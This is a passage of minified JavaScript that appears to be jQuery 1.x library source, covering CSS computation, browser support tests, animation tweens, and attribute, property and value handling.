left,rs,rsLeft,ret,style=elem.style;computed=computed||getStyles(elem);ret=computed?computed[name]:undefined;if(ret==null&&style&&style[name]){ret=style[name]}if(rnumnonpx.test(ret)&&!rposition.test(name)){left=style.left;rs=elem.runtimeStyle;rsLeft=rs&&rs.left;if(rsLeft){rs.left=elem.currentStyle.left}style.left=name==="fontSize"?"1em":ret;ret=style.pixelLeft+"px";style.left=left;if(rsLeft){rs.left=rsLeft}}return ret===undefined?ret:ret+""||"auto"}}function addGetHookIf(conditionFn,hookFn){return{get:function(){var condition=conditionFn();if(condition==null){return}if(condition){delete this.get;return}return(this.get=hookFn).apply(this,arguments)}}}(function(){var div,style,a,pixelPositionVal,boxSizingReliableVal,reliableHiddenOffsetsVal,reliableMarginRightVal;div=document.createElement("div");div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";a=div.getElementsByTagName("a")[0];style=a&&a.style;if(!style){return}style.cssText="float:left;opacity:.5";support.opacity=style.opacity==="0.5";support.cssFloat=!!style.cssFloat;div.style.backgroundClip="content-box";div.cloneNode(true).style.backgroundClip="";support.clearCloneStyle=div.style.backgroundClip==="content-box";support.boxSizing=style.boxSizing===""||style.MozBoxSizing===""||style.WebkitBoxSizing==="";jQuery.extend(support,{reliableHiddenOffsets:function(){if(reliableHiddenOffsetsVal==null){computeStyleTests()}return reliableHiddenOffsetsVal},boxSizingReliable:function(){if(boxSizingReliableVal==null){computeStyleTests()}return boxSizingReliableVal},pixelPosition:function(){if(pixelPositionVal==null){computeStyleTests()}return pixelPositionVal},reliableMarginRight:function(){if(reliableMarginRightVal==null){computeStyleTests()}return reliableMarginRightVal}});function computeStyleTests(){var div,body,container,contents;body=document.getElementsByTagName("body")[0];if(!body||!body.style){return}div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);div.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;"+"box-sizing:border-box;display:block;margin-top:1%;top:1%;"+"border:1px;padding:1px;width:4px;position:absolute";pixelPositionVal=boxSizingReliableVal=false;reliableMarginRightVal=true;if(window.getComputedStyle){pixelPositionVal=(window.getComputedStyle(div,null)||{}).top!=="1%";boxSizingReliableVal=(window.getComputedStyle(div,null)||{width:"4px"}).width==="4px";contents=div.appendChild(document.createElement("div"));contents.style.cssText=div.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;"+"box-sizing:content-box;display:block;margin:0;border:0;padding:0";contents.style.marginRight=contents.style.width="0";div.style.width="1px";reliableMarginRightVal=!parseFloat((window.getComputedStyle(contents,null)||{}).marginRight);div.removeChild(contents)}div.innerHTML="<table><tr><td></td><td>t</td></tr></table>";contents=div.getElementsByTagName("td");contents[0].style.cssText="margin:0;border:0;padding:0;display:none";reliableHiddenOffsetsVal=contents[0].offsetHeight===0;if(reliableHiddenOffsetsVal){contents[0].style.display="";contents[1].style.display="none";reliableHiddenOffsetsVal=contents[0].offsetHeight===0}body.removeChild(container)}})();jQuery.swap=function(elem,options,callback,args){var ret,name,old={};for(name in options){old[name]=elem.style[name];elem.style[name]=options[name]}ret=callback.apply(elem,args||[]);for(name in options){elem.style[name]=old[name]}return ret};var ralpha=/alpha\([^)]*\)/i,ropacity=/opacity\s*=\s*([^)]*)/,rdisplayswap=/^(none|table(?!-c[ea]).+)/,rnumsplit=new RegExp("^("+pnum+")(.*)$","i"),rrelNum=new RegExp("^([+-])=("+pnum+")","i"),cssShow={position:"absolute",visibility:"hidden",display:"block"},cssNormalTransform={letterSpacing:"0",fontWeight:"400"},cssPrefixes=["Webkit","O","Moz","ms"];function vendorPropName(style,name){if(name in style){return name}var capName=name.charAt(0).toUpperCase()+name.slice(1),origName=name,i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in style){return name}}return origName}function showHide(elements,show){var display,elem,hidden,values=[],index=0,length=elements.length;for(;index<length;index++){elem=elements[index];if(!elem.style){continue}values[index]=jQuery._data(elem,"olddisplay");display=elem.style.display;if(show){if(!values[index]&&display==="none"){elem.style.display=""}if(elem.style.display===""&&isHidden(elem)){values[index]=jQuery._data(elem,"olddisplay",defaultDisplay(elem.nodeName))}}else{hidden=isHidden(elem);if(display&&display!=="none"||!hidden){jQuery._data(elem,"olddisplay",hidden?display:jQuery.css(elem,"display"))}}}for(index=0;index<length;index++){elem=elements[index];if(!elem.style){continue}if(!show||elem.style.display==="none"||elem.style.display===""){elem.style.display=show?values[index]||"":"none"}}return elements}function setPositiveNumber(elem,value,subtract){var matches=rnumsplit.exec(value);return matches?Math.max(0,matches[1]-(subtract||0))+(matches[2]||"px"):value}function augmentWidthOrHeight(elem,name,extra,isBorderBox,styles){var i=extra===(isBorderBox?"border":"content")?4:name==="width"?1:0,val=0;for(;i<4;i+=2){if(extra==="margin"){val+=jQuery.css(elem,extra+cssExpand[i],true,styles)}if(isBorderBox){if(extra==="content"){val-=jQuery.css(elem,"padding"+cssExpand[i],true,styles)}if(extra!=="margin"){val-=jQuery.css(elem,"border"+cssExpand[i]+"Width",true,styles)}}else{val+=jQuery.css(elem,"padding"+cssExpand[i],true,styles);if(extra!=="padding"){val+=jQuery.css(elem,"border"+cssExpand[i]+"Width",true,styles)}}}return val}function getWidthOrHeight(elem,name,extra){var valueIsBorderBox=true,val=name==="width"?elem.offsetWidth:elem.offsetHeight,styles=getStyles(elem),isBorderBox=support.boxSizing&&jQuery.css(elem,"boxSizing",false,styles)==="border-box";if(val<=0||val==null){val=curCSS(elem,name,styles);if(val<0||val==null){val=elem.style[name]}if(rnumnonpx.test(val)){return val}valueIsBorderBox=isBorderBox&&(support.boxSizingReliable()||val===elem.style[name]);val=parseFloat(val)||0}return(val+augmentWidthOrHeight(elem,name,extra||(isBorderBox?"border":"content"),valueIsBorderBox,styles))+"px"}jQuery.extend({cssHooks:{opacity:{get:function(elem,computed){if(computed){var ret=curCSS(elem,"opacity");return ret===""?"1":ret}}}},cssNumber:{"columnCount":true,"fillOpacity":true,"flexGrow":true,"flexShrink":true,"fontWeight":true,"lineHeight":true,"opacity":true,"order":true,"orphans":true,"widows":true,"zIndex":true,"zoom":true},cssProps:{"float":support.cssFloat?"cssFloat":"styleFloat"},style:function(elem,name,value,extra){if(!elem||elem.nodeType===3||elem.nodeType===8||!elem.style){return}var ret,type,hooks,origName=jQuery.camelCase(name),style=elem.style;name=jQuery.cssProps[origName]||(jQuery.cssProps[origName]=vendorPropName(style,origName));hooks=jQuery.cssHooks[name]||jQuery.cssHooks[origName];if(value!==undefined){type=typeof value;if(type==="string"&&(ret=rrelNum.exec(value))){value=(ret[1]+1)*ret[2]+parseFloat(jQuery.css(elem,name));type="number"}if(value==null||value!==value){return}if(type==="number"&&!jQuery.cssNumber[origName]){value+="px"}if(!support.clearCloneStyle&&value===""&&name.indexOf("background")===0){style[name]="inherit"}if(!hooks||!("set"in hooks)||(value=hooks.set(elem,value,extra))!==undefined){try{style[name]=value}catch(e){}}}else{if(hooks&&"get"in hooks&&(ret=hooks.get(elem,false,extra))!==undefined){return ret}return style[name]}},css:function(elem,name,extra,styles){var num,val,hooks,origName=jQuery.camelCase(name);name=jQuery.cssProps[origName]||(jQuery.cssProps[origName]=vendorPropName(elem.style,origName));hooks=jQuery.cssHooks[name]||jQuery.cssHooks[origName];if(hooks&&"get"in hooks){val=hooks.get(elem,true,extra)}if(val===undefined){val=curCSS(elem,name,styles)}if(val==="normal"&&name in cssNormalTransform){val=cssNormalTransform[name]}if(extra===""||extra){num=parseFloat(val);return extra===true||jQuery.isNumeric(num)?num||0:val}return val}});jQuery.each(["height","width"],function(i,name){jQuery.cssHooks[name]={get:function(elem,computed,extra){if(computed){return rdisplayswap.test(jQuery.css(elem,"display"))&&elem.offsetWidth===0?jQuery.swap(elem,cssShow,function(){return getWidthOrHeight(elem,name,extra)}):getWidthOrHeight(elem,name,extra)}},set:function(elem,value,extra){var styles=extra&&getStyles(elem);return setPositiveNumber(elem,value,extra?augmentWidthOrHeight(elem,name,extra,support.boxSizing&&jQuery.css(elem,"boxSizing",false,styles)==="border-box",styles):0)}}});if(!support.opacity){jQuery.cssHooks.opacity={get:function(elem,computed){return ropacity.test((computed&&elem.currentStyle?elem.currentStyle.filter:elem.style.filter)||"")?(0.01*parseFloat(RegExp.$1))+"":computed?"1":""},set:function(elem,value){var style=elem.style,currentStyle=elem.currentStyle,opacity=jQuery.isNumeric(value)?"alpha(opacity="+value*100+")":"",filter=currentStyle&&currentStyle.filter||style.filter||"";style.zoom=1;if((value>=1||value==="")&&jQuery.trim(filter.replace(ralpha,""))===""&&style.removeAttribute){style.removeAttribute("filter");if(value===""||currentStyle&&!currentStyle.filter){return}}style.filter=ralpha.test(filter)?filter.replace(ralpha,opacity):filter+" "+opacity}}}jQuery.cssHooks.marginRight=addGetHookIf(support.reliableMarginRight,function(elem,computed){if(computed){return jQuery.swap(elem,{"display":"inline-block"},curCSS,[elem,"marginRight"])}});jQuery.each({margin:"",padding:"",border:"Width"},function(prefix,suffix){jQuery.cssHooks[prefix+suffix]={expand:function(value){var i=0,expanded={},parts=typeof value==="string"?value.split(" "):[value];for(;i<4;i++){expanded[prefix+cssExpand[i]+suffix]=parts[i]||parts[i-2]||parts[0]}return expanded}};if(!rmargin.test(prefix)){jQuery.cssHooks[prefix+suffix].set=setPositiveNumber}});jQuery.fn.extend({css:function(name,value){return access(this,function(elem,name,value){var styles,len,map={},i=0;if(jQuery.isArray(name)){styles=getStyles(elem);len=name.length;for(;i<len;i++){map[name[i]]=jQuery.css(elem,name[i],false,styles)}return map}return value!==undefined?jQuery.style(elem,name,value):jQuery.css(elem,name)},name,value,arguments.length>1)},show:function(){return showHide(this,true)},hide:function(){return showHide(this)},toggle:function(state){if(typeof state==="boolean"){return state?this.show():this.hide()}return this.each(function(){if(isHidden(this)){jQuery(this).show()}else{jQuery(this).hide()}})}});function Tween(elem,options,prop,end,easing){return new Tween.prototype.init(elem,options,prop,end,easing)}jQuery.Tween=Tween;Tween.prototype={constructor:Tween,init:function(elem,options,prop,end,easing,unit){this.elem=elem;this.prop=prop;this.easing=easing||"swing";this.options=options;this.start=this.now=this.cur();this.end=end;this.unit=unit||(jQuery.cssNumber[prop]?"":"px")},cur:function(){var hooks=Tween.propHooks[this.prop];return hooks&&hooks.get?hooks.get(this):Tween.propHooks._default.get(this)},run:function(percent){var eased,hooks=Tween.propHooks[this.prop];if(this.options.duration){this.pos=eased=jQuery.easing[this.easing](percent,this.options.duration*percent,0,1,this.options.duration)}else{this.pos=eased=percent}this.now=(this.end-this.start)*eased+this.start;if(this.options.step){this.options.step.call(this.elem,this.now,this)}if(hooks&&hooks.set){hooks.set(this)}else{Tween.propHooks._default.set(this)}return this}};Tween.prototype.init.prototype=Tween.prototype;Tween.propHooks={_default:{get:function(tween){var result;if(tween.elem[tween.prop]!=null&&(!tween.elem.style||tween.elem.style[tween.prop]==null)){return tween.elem[tween.prop]}result=jQuery.css(tween.elem,tween.prop,"");return!result||result==="auto"?0:result},set:function(tween){if(jQuery.fx.step[tween.prop]){jQuery.fx.step[tween.prop](tween)}else if(tween.elem.style&&(tween.elem.style[jQuery.cssProps[tween.prop]]!=null||jQuery.cssHooks[tween.prop])){jQuery.style(tween.elem,tween.prop,tween.now+tween.unit)}else{tween.elem[tween.prop]=tween.now}}}};Tween.propHooks.scrollTop=Tween.propHooks.scrollLeft={set:function(tween){if(tween.elem.nodeType&&tween.elem.parentNode){tween.elem[tween.prop]=tween.now}}};jQuery.easing={linear:function(p){return p},swing:function(p){return 0.5-Math.cos(p*Math.PI)/2}};jQuery.fx=Tween.prototype.init;jQuery.fx.step={};var fxNow,timerId,rfxtypes=/^(?:toggle|show|hide)$/,rfxnum=new RegExp("^(?:([+-])=|)("+pnum+")([a-z%]*)$","i"),rrun=/queueHooks$/,animationPrefilters=[defaultPrefilter],tweeners={"*":[function(prop,value){var tween=this.createTween(prop,value),target=tween.cur(),parts=rfxnum.exec(value),unit=parts&&parts[3]||(jQuery.cssNumber[prop]?"":"px"),start=(jQuery.cssNumber[prop]||unit!=="px"&&+target)&&rfxnum.exec(jQuery.css(tween.elem,prop)),scale=1,maxIterations=20;if(start&&start[3]!==unit){unit=unit||start[3];parts=parts||[];start=+target||1;do{scale=scale||".5";start=start/scale;jQuery.style(tween.elem,prop,start+unit)}while(scale!==(scale=tween.cur()/target)&&scale!==1&&--maxIterations)}if(parts){start=tween.start=+start||+target||0;tween.unit=unit;tween.end=parts[1]?start+(parts[1]+1)*parts[2]:+parts[2]}return tween}]};function createFxNow(){setTimeout(function(){fxNow=undefined});return(fxNow=jQuery.now())}function genFx(type,includeWidth){var which,attrs={height:type},i=0;includeWidth=includeWidth?1:0;for(;i<4;i+=2-includeWidth){which=cssExpand[i];attrs["margin"+which]=attrs["padding"+which]=type}if(includeWidth){attrs.opacity=attrs.width=type}return attrs}function createTween(value,prop,animation){var tween,collection=(tweeners[prop]||[]).concat(tweeners["*"]),index=0,length=collection.length;for(;index<length;index++){if((tween=collection[index].call(animation,prop,value))){return tween}}}function defaultPrefilter(elem,props,opts){var prop,value,toggle,tween,hooks,oldfire,display,checkDisplay,anim=this,orig={},style=elem.style,hidden=elem.nodeType&&isHidden(elem),dataShow=jQuery._data(elem,"fxshow");if(!opts.queue){hooks=jQuery._queueHooks(elem,"fx");if(hooks.unqueued==null){hooks.unqueued=0;oldfire=hooks.empty.fire;hooks.empty.fire=function(){if(!hooks.unqueued){oldfire()}}}hooks.unqueued++;anim.always(function(){anim.always(function(){hooks.unqueued--;if(!jQuery.queue(elem,"fx").length){hooks.empty.fire()}})})}if(elem.nodeType===1&&("height"in props||"width"in props)){opts.overflow=[style.overflow,style.overflowX,style.overflowY];display=jQuery.css(elem,"display");checkDisplay=display==="none"?jQuery._data(elem,"olddisplay")||defaultDisplay(elem.nodeName):display;if(checkDisplay==="inline"&&jQuery.css(elem,"float")==="none"){if(!support.inlineBlockNeedsLayout||defaultDisplay(elem.nodeName)==="inline"){style.display="inline-block"}else{style.zoom=1}}}if(opts.overflow){style.overflow="hidden";if(!support.shrinkWrapBlocks()){anim.always(function(){style.overflow=opts.overflow[0];style.overflowX=opts.overflow[1];style.overflowY=opts.overflow[2]})}}for(prop in props){value=props[prop];if(rfxtypes.exec(value)){delete props[prop];toggle=toggle||value==="toggle";if(value===(hidden?"hide":"show")){if(value==="show"&&dataShow&&dataShow[prop]!==undefined){hidden=true}else{continue}}orig[prop]=dataShow&&dataShow[prop]||jQuery.style(elem,prop)}else{display=undefined}}if(!jQuery.isEmptyObject(orig)){if(dataShow){if("hidden"in dataShow){hidden=dataShow.hidden}}else{dataShow=jQuery._data(elem,"fxshow",{})}if(toggle){dataShow.hidden=!hidden}if(hidden){jQuery(elem).show()}else{anim.done(function(){jQuery(elem).hide()})}anim.done(function(){var prop;jQuery._removeData(elem,"fxshow");for(prop in orig){jQuery.style(elem,prop,orig[prop])}});for(prop in orig){tween=createTween(hidden?dataShow[prop]:0,prop,anim);if(!(prop in dataShow)){dataShow[prop]=tween.start;if(hidden){tween.end=tween.start;tween.start=prop==="width"||prop==="height"?1:0}}}}else if((display==="none"?defaultDisplay(elem.nodeName):display)==="inline"){style.display=display}}function propFilter(props,specialEasing){var index,name,easing,value,hooks;for(index in props){name=jQuery.camelCase(index);easing=specialEasing[name];value=props[index];if(jQuery.isArray(value)){easing=value[1];value=props[index]=value[0]}if(index!==name){props[name]=value;delete props[index]}hooks=jQuery.cssHooks[name];if(hooks&&"expand"in hooks){value=hooks.expand(value);delete props[name];for(index in value){if(!(index in props)){props[index]=value[index];specialEasing[index]=easing}}}else{specialEasing[name]=easing}}}function Animation(elem,properties,options){var result,stopped,index=0,length=animationPrefilters.length,deferred=jQuery.Deferred().always(function(){delete tick.elem}),tick=function(){if(stopped){return false}var currentTime=fxNow||createFxNow(),remaining=Math.max(0,animation.startTime+animation.duration-currentTime),temp=remaining/animation.duration||0,percent=1-temp,index=0,length=animation.tweens.length;for(;index<length;index++){animation.tweens[index].run(percent)}deferred.notifyWith(elem,[animation,percent,remaining]);if(percent<1&&length){return remaining}else{deferred.resolveWith(elem,[animation]);return false}},animation=deferred.promise({elem:elem,props:jQuery.extend({},properties),opts:jQuery.extend(true,{specialEasing:{}},options),originalProperties:properties,originalOptions:options,startTime:fxNow||createFxNow(),duration:options.duration,tweens:[],createTween:function(prop,end){var tween=jQuery.Tween(elem,animation.opts,prop,end,animation.opts.specialEasing[prop]||animation.opts.easing);animation.tweens.push(tween);return tween},stop:function(gotoEnd){var index=0,length=gotoEnd?animation.tweens.length:0;if(stopped){return this}stopped=true;for(;index<length;index++){animation.tweens[index].run(1)}if(gotoEnd){deferred.resolveWith(elem,[animation,gotoEnd])}else{deferred.rejectWith(elem,[animation,gotoEnd])}return this}}),props=animation.props;propFilter(props,animation.opts.specialEasing);for(;index<length;index++){result=animationPrefilters[index].call(animation,elem,props,animation.opts);if(result){return result}}jQuery.map(props,createTween,animation);if(jQuery.isFunction(animation.opts.start)){animation.opts.start.call(elem,animation)}jQuery.fx.timer(jQuery.extend(tick,{elem:elem,anim:animation,queue:animation.opts.queue}));return animation.progress(animation.opts.progress).done(animation.opts.done,animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)}jQuery.Animation=jQuery.extend(Animation,{tweener:function(props,callback){if(jQuery.isFunction(props)){callback=props;props=["*"]}else{props=props.split(" ")}var prop,index=0,length=props.length;for(;index<length;index++){prop=props[index];tweeners[prop]=tweeners[prop]||[];tweeners[prop].unshift(callback)}},prefilter:function(callback,prepend){if(prepend){animationPrefilters.unshift(callback)}else{animationPrefilters.push(callback)}}});jQuery.speed=function(speed,easing,fn){var opt=speed&&typeof speed==="object"?jQuery.extend({},speed):{complete:fn||!fn&&easing||jQuery.isFunction(speed)&&speed,duration:speed,easing:fn&&easing||easing&&!jQuery.isFunction(easing)&&easing};opt.duration=jQuery.fx.off?0:typeof opt.duration==="number"?opt.duration:opt.duration in jQuery.fx.speeds?jQuery.fx.speeds[opt.duration]:jQuery.fx.speeds._default;if(opt.queue==null||opt.queue===true){opt.queue="fx"}opt.old=opt.complete;opt.complete=function(){if(jQuery.isFunction(opt.old)){opt.old.call(this)}if(opt.queue){jQuery.dequeue(this,opt.queue)}};return opt};jQuery.fn.extend({fadeTo:function(speed,to,easing,callback){return this.filter(isHidden).css("opacity",0).show().end().animate({opacity:to},speed,easing,callback)},animate:function(prop,speed,easing,callback){var empty=jQuery.isEmptyObject(prop),optall=jQuery.speed(speed,easing,callback),doAnimation=function(){var anim=Animation(this,jQuery.extend({},prop),optall);if(empty||jQuery._data(this,"finish")){anim.stop(true)}};doAnimation.finish=doAnimation;return empty||optall.queue===false?this.each(doAnimation):this.queue(optall.queue,doAnimation)},stop:function(type,clearQueue,gotoEnd){var stopQueue=function(hooks){var stop=hooks.stop;delete hooks.stop;stop(gotoEnd)};if(typeof type!=="string"){gotoEnd=clearQueue;clearQueue=type;type=undefined}if(clearQueue&&type!==false){this.queue(type||"fx",[])}return this.each(function(){var dequeue=true,index=type!=null&&type+"queueHooks",timers=jQuery.timers,data=jQuery._data(this);if(index){if(data[index]&&data[index].stop){stopQueue(data[index])}}else{for(index in data){if(data[index]&&data[index].stop&&rrun.test(index)){stopQueue(data[index])}}}for(index=timers.length;index--;){if(timers[index].elem===this&&(type==null||timers[index].queue===type)){timers[index].anim.stop(gotoEnd);dequeue=false;timers.splice(index,1)}}if(dequeue||!gotoEnd){jQuery.dequeue(this,type)}})},finish:function(type){if(type!==false){type=type||"fx"}return this.each(function(){var index,data=jQuery._data(this),queue=data[type+"queue"],hooks=data[type+"queueHooks"],timers=jQuery.timers,length=queue?queue.length:0;data.finish=true;jQuery.queue(this,type,[]);if(hooks&&hooks.stop){hooks.stop.call(this,true)}for(index=timers.length;index--;){if(timers[index].elem===this&&timers[index].queue===type){timers[index].anim.stop(true);timers.splice(index,1)}}for(index=0;index<length;index++){if(queue[index]&&queue[index].finish){queue[index].finish.call(this)}}delete data.finish})}});jQuery.each(["toggle","show","hide"],function(i,name){var cssFn=jQuery.fn[name];jQuery.fn[name]=function(speed,easing,callback){return speed==null||typeof speed==="boolean"?cssFn.apply(this,arguments):this.animate(genFx(name,true),speed,easing,callback)}});jQuery.each({slideDown:genFx("show"),slideUp:genFx("hide"),slideToggle:genFx("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(name,props){jQuery.fn[name]=function(speed,easing,callback){return this.animate(props,speed,easing,callback)}});jQuery.timers=[];jQuery.fx.tick=function(){var timer,timers=jQuery.timers,i=0;fxNow=jQuery.now();for(;i<timers.length;i++){timer=timers[i];if(!timer()&&timers[i]===timer){timers.splice(i--,1)}}if(!timers.length){jQuery.fx.stop()}fxNow=undefined};jQuery.fx.timer=function(timer){jQuery.timers.push(timer);if(timer()){jQuery.fx.start()}else{jQuery.timers.pop()}};jQuery.fx.interval=13;jQuery.fx.start=function(){if(!timerId){timerId=setInterval(jQuery.fx.tick,jQuery.fx.interval)}};jQuery.fx.stop=function(){clearInterval(timerId);timerId=null};jQuery.fx.speeds={slow:600,fast:200,_default:400};jQuery.fn.delay=function(time,type){time=jQuery.fx?jQuery.fx.speeds[time]||time:time;type=type||"fx";return this.queue(type,function(next,hooks){var timeout=setTimeout(next,time);hooks.stop=function(){clearTimeout(timeout)}})};(function(){var input,div,select,a,opt;div=document.createElement("div");div.setAttribute("className","t");div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";a=div.getElementsByTagName("a")[0];select=document.createElement("select");opt=select.appendChild(document.createElement("option"));input=div.getElementsByTagName("input")[0];a.style.cssText="top:1px";support.getSetAttribute=div.className!=="t";support.style=/top/.test(a.getAttribute("style"));support.hrefNormalized=a.getAttribute("href")==="/a";support.checkOn=!!input.value;support.optSelected=opt.selected;support.enctype=!!document.createElement("form").enctype;select.disabled=true;support.optDisabled=!opt.disabled;input=document.createElement("input");input.setAttribute("value","");support.input=input.getAttribute("value")==="";input.value="t";input.setAttribute("type","radio");support.radioValue=input.value==="t"})();var rreturn=/\r/g;jQuery.fn.extend({val:function(value){var hooks,ret,isFunction,elem=this[0];if(!arguments.length){if(elem){hooks=jQuery.valHooks[elem.type]||jQuery.valHooks[elem.nodeName.toLowerCase()];if(hooks&&"get"in hooks&&(ret=hooks.get(elem,"value"))!==undefined){return ret}ret=elem.value;return typeof ret==="string"?ret.replace(rreturn,""):ret==null?"":ret}return}isFunction=jQuery.isFunction(value);return this.each(function(i){var val;if(this.nodeType!==1){return}if(isFunction){val=value.call(this,i,jQuery(this).val())}else{val=value}if(val==null){val=""}else if(typeof val==="number"){val+=""}else if(jQuery.isArray(val)){val=jQuery.map(val,function(value){return value==null?"":value+""})}hooks=jQuery.valHooks[this.type]||jQuery.valHooks[this.nodeName.toLowerCase()];if(!hooks||!("set"in hooks)||hooks.set(this,val,"value")===undefined){this.value=val}})}});jQuery.extend({valHooks:{option:{get:function(elem){var val=jQuery.find.attr(elem,"value");return val!=null?val:jQuery.trim(jQuery.text(elem))}},select:{get:function(elem){var value,option,options=elem.options,index=elem.selectedIndex,one=elem.type==="select-one"||index<0,values=one?null:[],max=one?index+1:options.length,i=index<0?max:one?index:0;for(;i<max;i++){option=options[i];if((option.selected||i===index)&&(support.optDisabled?!option.disabled:option.getAttribute("disabled")===null)&&(!option.parentNode.disabled||!jQuery.nodeName(option.parentNode,"optgroup"))){value=jQuery(option).val();if(one){return value}values.push(value)}}return values},set:function(elem,value){var optionSet,option,options=elem.options,values=jQuery.makeArray(value),i=options.length;while(i--){option=options[i];if(jQuery.inArray(jQuery.valHooks.option.get(option),values)>=0){try{option.selected=optionSet=true}catch(_){option.scrollHeight}}else{option.selected=false}}if(!optionSet){elem.selectedIndex=-1}return options}}}});jQuery.each(["radio","checkbox"],function(){jQuery.valHooks[this]={set:function(elem,value){if(jQuery.isArray(value)){return(elem.checked=jQuery.inArray(jQuery(elem).val(),value)>=0)}}};if(!support.checkOn){jQuery.valHooks[this].get=function(elem){return elem.getAttribute("value")===null?"on":elem.value}}});var nodeHook,boolHook,attrHandle=jQuery.expr.attrHandle,ruseDefault=/^(?:checked|selected)$/i,getSetAttribute=support.getSetAttribute,getSetInput=support.input;jQuery.fn.extend({attr:function(name,value){return access(this,jQuery.attr,name,value,arguments.length>1)},removeAttr:function(name){return this.each(function(){jQuery.removeAttr(this,name)})}});jQuery.extend({attr:function(elem,name,value){var hooks,ret,nType=elem.nodeType;if(!elem||nType===3||nType===8||nType===2){return}if(typeof elem.getAttribute===strundefined){return jQuery.prop(elem,name,value)}if(nType!==1||!jQuery.isXMLDoc(elem)){name=name.toLowerCase();hooks=jQuery.attrHooks[name]||(jQuery.expr.match.bool.test(name)?boolHook:nodeHook)}if(value!==undefined){if(value===null){jQuery.removeAttr(elem,name)}else if(hooks&&"set"in hooks&&(ret=hooks.set(elem,value,name))!==undefined){return ret}else{elem.setAttribute(name,value+"");return value}}else if(hooks&&"get"in hooks&&(ret=hooks.get(elem,name))!==null){return ret}else{ret=jQuery.find.attr(elem,name);return ret==null?undefined:ret}},removeAttr:function(elem,value){var name,propName,i=0,attrNames=value&&value.match(rnotwhite);if(attrNames&&elem.nodeType===1){while((name=attrNames[i++])){propName=jQuery.propFix[name]||name;if(jQuery.expr.match.bool.test(name)){if(getSetInput&&getSetAttribute||!ruseDefault.test(name)){elem[propName]=false}else{elem[jQuery.camelCase("default-"+name)]=elem[propName]=false}}else{jQuery.attr(elem,name,"")}elem.removeAttribute(getSetAttribute?name:propName)}}},attrHooks:{type:{set:function(elem,value){if(!support.radioValue&&value==="radio"&&jQuery.nodeName(elem,"input")){var val=elem.value;elem.setAttribute("type",value);if(val){elem.value=val}return value}}}}});boolHook={set:function(elem,value,name){if(value===false){jQuery.removeAttr(elem,name)}else if(getSetInput&&getSetAttribute||!ruseDefault.test(name)){elem.setAttribute(!getSetAttribute&&jQuery.propFix[name]||name,name)}else{elem[jQuery.camelCase("default-"+name)]=elem[name]=true}return name}};jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g),function(i,name){var getter=attrHandle[name]||jQuery.find.attr;attrHandle[name]=getSetInput&&getSetAttribute||!ruseDefault.test(name)?function(elem,name,isXML){var ret,handle;if(!isXML){handle=attrHandle[name];attrHandle[name]=ret;ret=getter(elem,name,isXML)!=null?name.toLowerCase():null;attrHandle[name]=handle}return ret}:function(elem,name,isXML){if(!isXML){return elem[jQuery.camelCase("default-"+name)]?name.toLowerCase():null}}});if(!getSetInput||!getSetAttribute){jQuery.attrHooks.value={set:function(elem,value,name){if(jQuery.nodeName(elem,"input")){elem.defaultValue=value}else{return nodeHook&&nodeHook.set(elem,value,name)}}}}if(!getSetAttribute){nodeHook={set:function(elem,value,name){var ret=elem.getAttributeNode(name);if(!ret){elem.setAttributeNode((ret=elem.ownerDocument.createAttribute(name)))}ret.value=value+="";if(name==="value"||value===elem.getAttribute(name)){return value}}};attrHandle.id=attrHandle.name=attrHandle.coords=function(elem,name,isXML){var ret;if(!isXML){return(ret=elem.getAttributeNode(name))&&ret.value!==""?ret.value:null}};jQuery.valHooks.button={get:function(elem,name){var ret=elem.getAttributeNode(name);if(ret&&ret.specified){return ret.value}},set:nodeHook.set};jQuery.attrHooks.contenteditable={set:function(elem,value,name){nodeHook.set(elem,value===""?false:value,name)}};jQuery.each(["width","height"],function(i,name){jQuery.attrHooks[name]={set:function(elem,value){if(value===""){elem.setAttribute(name,"auto");return value}}}})}if(!support.style){jQuery.attrHooks.style={get:function(elem){return elem.style.cssText||undefined},set:function(elem,value){return(elem.style.cssText=value+"")}}}var rfocusable=/^(?:input|select|textarea|button|object)$/i,rclickable=/^(?:a|area)$/i;jQuery.fn.extend({prop:function(name,value){return access(this,jQuery.prop,name,value,arguments.length>1)},removeProp:function(name){name=jQuery.propFix[name]||name;return this.each(function(){try{this[name]=undefined;delete this[name]}catch(e){}})}});jQuery.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(elem,name,value){var ret,hooks,notxml,nType=elem.nodeType;if(!elem||nType===3||nType===8||nType===2){return}notxml=nType!==1||!jQuery.isXMLDoc(elem);if(notxml){name=jQuery.propFix[name]||name;hooks=jQuery.propHooks[name]}if(value!==undefined){return hooks&&"set"in hooks&&(ret=hooks.set(elem,value,name))!==undefined?ret:(elem[name]=value)}else{return hooks&&"get"in hooks&&(ret=hooks.get(elem,name))!==null?ret:elem[name]}},propHooks:{tabIndex:{get:function(elem){var tabindex=jQuery.find.attr(elem,"tabindex");return tabindex?parseInt(tabindex,10):rfocusable.test(elem.nodeName)||rclickable.test(elem.nodeName)&&elem.href?0:-1}}}});if(!support.hrefNormalized){jQuery.each(["href","src"],function(i,name){jQuery.propHooks[name]={get:function(elem){return elem.getAttribute(name,4)}}})}if(!support.optSelected){jQuery.propHooks.selected={get:function(elem){var parent=elem.parentNode;if(parent){parent.selectedIndex;if(parent.parentNode){parent.parentNode.selectedIndex}}return null}}}jQuery.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){jQuery.propFix[this.toLowerCase()]=this});if(!support.enctype){jQuery.propFix.enctype="encoding"}var rclass=/[\t\r\n\f]/g;jQuery.fn.extend({addClass:function(value){var classes,elem,cur,clazz,j,finalValue,i=0,len=this.length,proceed=typeof value==="string"&&value;if(jQuery.isFunction(value)){return this.each(function(j){jQuery(this).addClass(value.call(this,j,this.className))})}if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i<len;i++){elem=this[i];cur=elem.nodeType===1&&(elem.className?(" "+elem.className+" ").replace(rclass," "):" 